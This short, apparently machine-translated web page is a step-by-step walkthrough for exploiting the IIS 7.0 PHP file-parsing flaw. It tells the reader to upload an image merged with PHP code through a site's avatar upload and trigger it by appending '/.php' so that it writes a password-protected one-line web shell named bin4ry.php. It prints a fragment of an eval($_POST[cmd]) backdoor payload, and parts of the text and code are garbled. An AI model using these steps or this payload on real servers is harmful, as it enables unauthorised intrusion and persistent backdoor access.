IIS7.0php error File Parsing Vulnerability Demo Video

IIS7.0php error File Parsing

 

IIS7.0PhpDemo Video of error File Parsing Vulnerability Demo Video download

The web Service www.xxxxxxxxi.com is IIS7.0.
 

After www.xxxxxxxxi.com/robots.txt, add/.php to make PHP a success.

Register a user name, find the Avatar upload address, and upload a normal image and a pony merged image

 
Eval ($ _ POST [cmd]);?>)?>

 

If the file is successfully parsed, The bin4ry. php file is generated in the current directory of the image as a Trojan with the password cmd.

 
After uploading the image, you can obtain the image address. After adding/. php to the image, the image directory will generate bin4ry. php.

Connect with a Trojan in one sentence